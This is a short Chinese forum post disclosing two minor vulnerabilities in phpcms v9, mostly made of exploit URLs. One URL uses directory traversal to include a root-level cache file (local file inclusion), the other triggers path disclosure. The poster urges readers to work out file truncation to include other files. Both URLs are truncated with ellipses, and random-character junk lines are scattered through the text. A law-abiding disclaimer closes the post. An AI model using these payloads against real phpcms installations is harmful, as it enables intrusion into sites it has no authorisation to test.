phpcms v9两个鸡肋漏洞

admin

我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。
! ^: c( l: P% I1 q# U
Exp: http://www.php0day.com/api.php?o ... efile=../../../fuck
2 w( b) H3 s& K: G
6 f9 G2 {% V- B4 V' ~( i; X$ w. p#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。

Exp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
) a- A! @: `) n- _& u
1 l% o* g3 y  X2 d. Y6 o#暴路径
) i' f% Y3 s: O
- P1 m9 X4 B3 F' _/ A4 V注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。
+ J4 t0 m8 H3 H9 K2 |( T* w5 u$ T5 m) I
​

1 u, e# C4 e4 G* C% M+1